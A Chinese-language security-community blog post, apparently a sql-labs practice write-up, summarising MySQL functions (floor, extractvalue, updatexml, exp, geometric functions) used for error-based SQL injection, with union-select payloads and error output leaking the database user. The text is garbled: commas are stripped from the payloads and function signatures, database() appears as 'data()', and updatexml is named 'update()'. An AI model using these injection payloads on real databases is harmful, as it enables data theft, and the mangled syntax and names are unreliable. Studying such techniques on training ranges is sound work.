Mysql报错函数小结
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。
前言:
一直都想找个时间总结一下Mysql十大报错函数,但一直都忘了,趁着这几天玩sql-labs的时候,随便总结一下。
Mysql报错函数:
1、floor()
2、extractvalue()
3、update()
4、exp()
5、geometrycollection()
6、multiponint()
7、polygon()
8、multipolygon()
9、linestring()
10、multilinestring()
0x01、floor()
floor(x) 函数,向下取整返回一个不大于x的值
round(xd) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值
报错原理:主键重复
示例1:sql-labs第5关
payload:
id=1' union select 1 from (select count(*)concat(0x7e(data())0x7efloor(rand()*2))a from information_schema.tables group by a) b#
0x02、extractvalue()
Extractvalue(_frag xpath_expr) 函数使用XPath表示法从XML字符串中提取值
_frag: 目标文档
xpath_expr: 利用Xpath路径法表示的查找路径
报错原理:Xpath格式语法书写错误的话,就会报错
示例2:
payload:
id=1' union select Extractvalue('1'concat('~'(select data())))#
0x03、update()
UPDATEXML (XML_document XPath_string new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据
报错原理:同extractvalue函数,Xpath格式书写错误就会报错。
示例3:
payload:
id=1' union select update('1'concat('~'(select data()))'1')#
0x04、exp()
exp()是以e为底的指数函数,但是如果传递的数太大了,当大于709时,exp()就会因为溢出而报错。
将0按位取反就会得到“18446744073709551615”,再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。
通过子查询与按位求反,造成一个DOUBLE overflow error,由此就可以注出数据。
但由于我这里mysql版本是5.5.53的缘故,无法成功的注出数据。
成功的示例如下:
mysql> select * from products where pid=1 and exp(~(select * from(select user())a));
DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x05、geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()
以上均为几何函数,函数对参数要求是形如(1 23 32 2 1)这样几何数据,如果不满足要求,则会报错。
用法:
select geometrycollection((select * from(select * from(select user())a)b));
这几个函数用法均相同。
但是还是因为mysql版本的问题,没能成功执行。
成功示例如下:
mysql> select geometrycollection((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
总结
通过这次整理真的发现了很多问题,也学到了很多。之前还没注意,原来有些报错函数是有版本要求的,看来学习的过程中还是得多多动手才行。
责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。
相关文章:
